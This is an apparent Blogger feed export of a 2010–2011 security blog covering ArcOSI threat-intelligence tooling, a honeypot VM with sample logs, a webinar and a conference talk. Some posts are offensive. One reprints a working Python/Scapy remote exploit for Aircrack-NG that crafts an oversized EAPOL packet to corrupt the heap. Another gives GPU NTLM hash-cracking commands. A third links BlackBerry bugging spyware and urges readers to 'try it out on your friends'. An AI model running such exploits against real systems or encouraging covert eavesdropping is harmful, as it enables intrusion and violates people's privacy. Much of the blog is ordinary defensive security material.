Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com3tag:blogger.com,1999:blog-6417275079333363490.post-71588123688482158292011-02-22T06:15:00.000-08:002011-02-22T06:20:19.369-08:00Webinar: Integrating Open Source Intelligence with ArcOSIJoin me today for a webinar of how integrating Open Source Intelligence within <a href="http://www.arcsight.com">ArcSight</a> ESM using <a href="http://code.google.com/p/arcosi">ArcOSI</a>.<br /><br />If you would like to register: <a href="http://www.arcsight.com/webinars/watch/integrating-open-source-intelligence-osint/">http://www.arcsight.com/webinars/watch/integrating-open-source-intelligence-osint/</a><br /><br />Topics we will cover:<br /> <br />What is OSINT and how has it become a powerful SIEM use cases for 2011. The following webinar will cover:<br />• Why A/V does not cut it anymore<br />• How to detect the new threat: APT, client-side, malware<br />• What OSINT is<br />• An introduction to ArcSight Open Source Intelligence (ArcOSI)Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com3tag:blogger.com,1999:blog-6417275079333363490.post-75641987218297461612011-01-13T13:56:00.000-08:002011-01-13T14:11:32.974-08:00ArcOSI 2.1 Released!<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSF4gJ2Zt1atn2fjgjd10VwIzI46E52HXDXPMApZAYZYZ_hlWisDCIGeluE74Arz4tZKn0I4ANlS8O0XiqxeOAC1scozZ2W5nNgDCDtTTNBjf715oBjMM_Mokv7nQRdqhpPqthpZjh30o/s1600/arcosi.png"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 265px; height: 123px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSF4gJ2Zt1atn2fjgjd10VwIzI46E52HXDXPMApZAYZYZ_hlWisDCIGeluE74Arz4tZKn0I4ANlS8O0XiqxeOAC1scozZ2W5nNgDCDtTTNBjf715oBjMM_Mokv7nQRdqhpPqthpZjh30o/s400/arcosi.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5561794789531371810" /></a><br><br><br><br><br><br><br /><br />Just uploaded the newest version of ArcOSI Open Source Intelligence Utility for use with ArcSight ESM. I've added several new malware domain feeds and improved the code to handle connection errors, etc. I'm making time for this project now and will soon add support very soon for proxy and proxy-auth as this has been requested numerous times!<br /><br />Thanks to everyone who has tested and just a reminder feel free to reach out directly if you have any issues, feedback or requests.<br /><br /><a href="http://code.google.com/p/arcosi">http://code.google.com/p/arcosi</a><br /><br />-GregGreg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com4tag:blogger.com,1999:blog-6417275079333363490.post-65480119984892563612010-10-25T16:07:00.000-07:002010-10-25T16:13:06.177-07:00Look out<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeNT6Y2T-Irvzjpb0c8J7ulhkBPFVCukuA94SNxysX-16zKZrJzen9m1cwiseKbySf8PZHOuhdFyj0bJrz6Qp_DzNdOmI9Kn4OflBVmEh2RYy_4j4jn0LzqO5KYcrA6mTs9VPiPONP-2I/s1600/iphonemsf3.jpg"><img style="cursor:pointer; cursor:hand;width: 400px; height: 300px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjeNT6Y2T-Irvzjpb0c8J7ulhkBPFVCukuA94SNxysX-16zKZrJzen9m1cwiseKbySf8PZHOuhdFyj0bJrz6Qp_DzNdOmI9Kn4OflBVmEh2RYy_4j4jn0LzqO5KYcrA6mTs9VPiPONP-2I/s400/iphonemsf3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5532125277328563266" /></a><br /><br />got Metasploit running on my iphone4 after a few tweaks..Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com3tag:blogger.com,1999:blog-6417275079333363490.post-52869607749165018352010-10-18T09:41:00.000-07:002010-10-18T09:56:11.379-07:00Security B-Sides DFW Nov 6th<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.securitybsides.org/BSidesDFW"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 155px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgy2fqGvqOr93xezxsjM0piwpccl9rykTIPygFQMMnviig4Zj1SwLeFFm_SbtTuz5TbP0yNWpSfAQv9F2wDuwGXOJAUyVuBX6S3F21vHKzY98u_hPLAM2DYWSrxNG5h95mcshTSB5hMo1k/s200/bsides.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5529429324367638114" /></a><br /><br /><br />The very first B-Sides security conference in Dallas, TX is coming up Nov 6th and I will present early morning on mass exploitation using Metasploit a cucumber and an iPhone.<br /><br />Please bring your friends and co-workers who are interested in Security as these conferences are completely free and typically loads of fun.<br /><br />Hope to see you there, cheers.<br /><br /><a href="http://www.securitybsides.org/BSidesDFW"><br />http://www.securitybsides.org/BSidesDFW</a>Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com1tag:blogger.com,1999:blog-6417275079333363490.post-24463786316194579792010-09-06T17:00:00.000-07:002010-09-07T10:56:38.506-07:00Amun Honeypot with ArcSight CEF supportPlaying around this weekend and created a CEF syslog output plugin for Amun honeypot, here is the sample output (dst IP scrubbed):<br /><br />Sep 6 19:44:30 honeypot1 Amun[32438]: CEF:0|Alchemy Security|Amun|8.0|100|Honeypot Intercepted Malware|src=222.186.27.82,dst=76.78.17.74,msg=DCOM Vulnerability,dpt=135,cs1=None<br />Sep 6 20:10:46 honeypot1 Amun[32438]: CEF:0|Alchemy Security|Amun|8.0|100|Honeypot Intercepted Malware|src=66.127.110.254,dst=76.78.17.74,msg=NETBIOSNAME Vulnerability,dpt=139,cs1=None<br />Sep 6 20:10:46 honeypot1 Amun[32438]: CEF:0|Alchemy Security|Amun|8.0|100|Honeypot Intercepted Malware|src=66.127.110.254,dst=76.78.17.74,msg=NETBIOSNAME Vulnerability,dpt=139,cs1=None<br />Sep 6 20:10:46 honeypot1 Amun[32438]: CEF:0|Alchemy Security|Amun|8.0|100|Honeypot Intercepted Malware|src=66.127.110.254,dst=76.78.17.74,msg=NETBIOSNAME Vulnerability,dpt=139,cs1=None<br />Sep 6 20:10:46 honeypot1 Amun[32438]: CEF:0|Alchemy Security|Amun|8.0|100|Honeypot Intercepted Malware|src=66.127.110.254,dst=76.78.17.74,msg=NETBIOSNAME Vulnerability,dpt=139,cs1=None<br /><br />Now need to feed these into an ESM active list...<br /><br />To be nice, I packaged up the CEF enabled Amun honeypot into a <a href="http://66.18.15.52/amun-turnkey-vm.zip">200MB Ubuntu VM</a> so you can try this out in your ArcSight lab or production. Follow the easy directions to re-IP and setup syslog out. You will be nabbing attackers and the latest malware in no time!<br /><br />***update: I Googled the attacker IP's in the post above and found no mention of them in any open malicious IP lists, this highlights the effectiveness of using honeypots to gather the absolute latest intelligence on hosts attacking your perimeter (and others).<br /><br />***update 2: VM boot issue fixed, sorry about that!Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com8tag:blogger.com,1999:blog-6417275079333363490.post-76080566452066389502010-08-28T08:25:00.000-07:002010-08-28T08:30:58.996-07:00MIT Courseware: Learn to program in PythonJust wanted to share this excellent resource as I have been mentoring new security professionals and a majority of them have never written a script before. Open course ware is one of the greatest things to come out in recent years and I understand this is one of the best intro programing lectures:<br /><br /><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/k6U-i4gXkLM?fs=1&hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/k6U-i4gXkLM?fs=1&hl=en_US" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object><br /><br /><a href="http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/lecture-videos/">http://ocw.mit.edu/courses/electrical-engineering-and-computer-science/6-00-introduction-to-computer-science-and-programming-fall-2008/lecture-videos/</a>Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-57094730588313943602010-08-12T16:09:00.000-07:002010-08-14T16:31:26.183-07:00ArcOSI - ArcSight Open Source IntelligenceJust in time for the ArcSight annual users conference I will be presenting on integrating Open Source Intelligence in ESM and have updated the original malwarefeed.py script with a version which can pull from multiple configurable sources!<br /><br />If you want to give it a spin on your own environment now, download the python script version below and start streaming thousands of known malicious IP's right into ESM via CEF syslog.<br /><br /><a href="http://code.google.com/p/arcosi/">http://code.google.com/p/arcosi/</a><br /><br />usage: ./arcosi.py 127.0.0.1Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com1tag:blogger.com,1999:blog-6417275079333363490.post-40004291525695183132010-05-13T14:02:00.000-07:002010-07-12T06:39:15.528-07:00New 13" Macbook Pro GPU Hash Cracking NTLM/MD5/SHA1Wanted give some GPU cracking a go on my new 13" Macbook Pro. It's sporting a nice but rather weak Nvidia Geforce 330m.<br /><br />If you want to try the same, you will need the CUDA libraries <a href="http://developer.nvidia.com/object/cuda_3_0_downloads.html">here</a>, and CUDA Multiforcer for Intel Mac's located <a href="http://www.cryptohaze.com/bruteforcers.php">here</a>.<br /><br />Remember to check out Pyrit <a href="http://code.google.com/p/pyrit/downloads/list">here</a> for cracking WPA/WPA2 keys, it will also run on OSX...<br /><br />./CUDA-Multiforcer -h NTLM -c charsets/charsetfull -f test_hash_files/Hashes-NTLM-Full.txt --min=4 --max=9<br /><br />Benchmark:<br /><br />Cryptohaze.com CUDA Multiforcer (multiple hash brute forcer)<br />by Bitweasil<br />Version 0.61 beta, length 0-14<br />Currently supported hash types: MD5 MD4 NTLM <br />Hash type: NTLM<br />CUDA Device Information:<br />Device 0: "GeForce 320M"<br /> Number of cores: 48<br /> Clock rate: 0.00 GHz<br />Charset loaded (96 characters)<br />Hashes loaded (7 hashes)<br />Launching kernel for password length 4<br />Done: 73.49% Step rate: 82.9M/s Search rate: 580.4M/sec <br /><br />------------------------------------------<br /><br />Compute done: Reference time 1.3 seconds<br />Stepping rate: 63.1M MD4/s<br />Search rate: 441.8M NTLM/s<br /><br />Launching kernel for password length 5<br />Done: 25.36% Step rate: 80.4M/s Search rate: 562.6M/secGreg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com6tag:blogger.com,1999:blog-6417275079333363490.post-81231260665287430832010-04-28T14:51:00.000-07:002010-04-28T15:03:23.669-07:00BlackBerry Evil<a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://chuckwarnockblog.files.wordpress.com/2008/12/blackberry-curve.jpg"><img style="float:right; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 300px; height: 320px;" src="http://chuckwarnockblog.files.wordpress.com/2008/12/blackberry-curve.jpg" border="0" alt="" /></a><br /><br /><br />Asian security researcher known as "chopstick", released PhoneSnoop a freely available blackberry app that if installed will allow a remote computer to covertly call the blackberry, activate the speakerphone feature and allow remote audio bugging! Now this nasty little app was released at the Hack-n-a-Box security conference in Malaysia last October. It recently has shaken up government organizations such as US-CERT to issue warnings.<br /><br />Remember in the news when President Obama had to fight to keep his blackberry after the election? This is a serious threat so try it out on your friends and get back to me.<br /><br />Download it <a herf="http://www.zensay.com/PhoneSnoop.jad">here</a> and documentation <a href="http://www.zenconsult.net/PhoneSnoop_Guide.pdf">here</a><br /><br />A potential fix for enterprise blackberry users would be to deny "Input Simulation" option on the BES server.Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0tag:blogger.com,1999:blog-6417275079333363490.post-65555902383744927252010-04-14T14:21:00.001-07:002010-04-14T14:21:37.392-07:00Aircrack-NG remote exploit code# Title: Remote Exploit Against the Aircrack-NG Tools svn r1675<br /># EDB-ID: 12217<br /># CVE-ID: ()<br /># OSVDB-ID: ()<br /># Author: Lukas Lueg<br /># Published: 2010-04-14<br /># Verified: no<br /># Download Exploit Code<br /># Download N/A<br /><br />view source<br />print?<br />#!/usr/bin/env python<br /># -*- coding: UTF-8 -*-<br /> <br />''' A remote-exploit against the aircrack-ng tools. Tested up to svn r1675.<br /> <br /> The tools' code responsible for parsing IEEE802.11-packets assumes the<br /> self-proclaimed length of a EAPOL-packet to be correct and never to exceed<br /> a (arbitrary) maximum size of 256 bytes for packets that are part of the<br /> EAPOL-authentication. We can exploit this by letting the code parse packets<br /> which:<br /> a) proclaim to be larger than they really are, possibly causing the code<br /> to read from invalid memory locations while copying the packet;<br /> b) really do exceed the maximum size allowed and overflow data structures<br /> allocated on the heap, overwriting libc's allocation-related<br /> structures. This causes heap-corruption.<br /> <br /> Both problems lead either to a SIGSEGV or a SIGABRT, depending on the code-<br /> path. Careful layout of the packet's content can even possibly alter the<br /> instruction-flow through the already well known heap-corruption paths<br /> in libc. Playing with the proclaimed length of the EAPOL-packet and the<br /> size and content of the packet's padding immediately end up in various<br /> assertion errors during calls to free(). This reveals the possibility to<br /> gain control over $EIP.<br /> <br /> Given that we have plenty of room for payload and that the tools are<br /> usually executed with root-privileges, we should be able to have a<br /> single-packet-own-everything exploit at our hands. As the attacker can<br /> cause the various tools to do memory-allocations at his will (through<br /> faking the appearance of previously unknown clients), the resulting<br /> exploit-code should have a high probability of success.<br /> <br /> The demonstration-code below requires Scapy >= 2.x and Pyrit >= 0.3.1-dev<br /> r238 to work. It generates pcap-file with single packet of the following<br /> content:<br /> <br /> 0801000000DEADC0DE0000DEADC0DE010000000000000000AAAA03000000888E0103FDE8FE0<br /> 108000000000000000000000000000000000000000000000000000000000000000000000000<br /> 000000000000000000000000000000000000000000000000000000000000000000000000000<br /> 000000000000000000000000000000000000043616E20492068617320736F6D65206D6F6172<br /> 3F<br /> <br /> 03/27/2010, Lukas Lueg, lukas.lueg@gmail.com<br />'''<br /> <br />import cpyrit.pckttools<br />import scapy.layers<br /> <br /># A IEEE802.11-packet with LLC- and SNAP-header, looking like the second<br /># phase of a EAPOL-handshake (the confirmation). The size set in the EAPOL-<br /># packet will cause an overflow of the "eapol"-field in struct WPA_ST_info and<br /># struct WPA_hdsk.<br /># We have plenty of room for exploit-payload as most of the fields in the<br /># EAPOL_Key-packet are not interpreted. As far as I can see, the adjacent<br /># heap structure will be overwritten by the value of EAPOL_WPAKey.Nonce in<br /># case of airodump-ng...<br />pckt = scapy.layers.dot11.Dot11(addr1='00:de:ad:c0:de:00', \<br /> addr2='00:de:ad:c0:de:01', \<br /> FCfield='to-DS') \<br /> / scapy.layers.dot11.LLC() \<br /> / scapy.layers.dot11.SNAP() \<br /> / scapy.layers.l2.EAPOL(len=65000) \<br /> / cpyrit.pckttools.EAPOL_Key() \<br /> / cpyrit.pckttools.EAPOL_WPAKey(KeyInfo = 'pairwise+mic') \<br /> / scapy.packet.Padding(load='Can I has some moar?')<br /> <br />if __name__ == '__main__':<br /> print "Packet's content:"<br /> print ''.join("%02X" % ord(c) for c in str(pckt))<br /> filename = 'aircrackng_exploit.cap'<br /> print "Writing to '%s'" % filename<br /> writer = cpyrit.pckttools.Dot11PacketWriter(filename)<br /> writer.write(pckt)<br /> writer.close()<br /> print 'Done'Greg Martinhttp://www.blogger.com/profile/11631833625444365559noreply@blogger.com0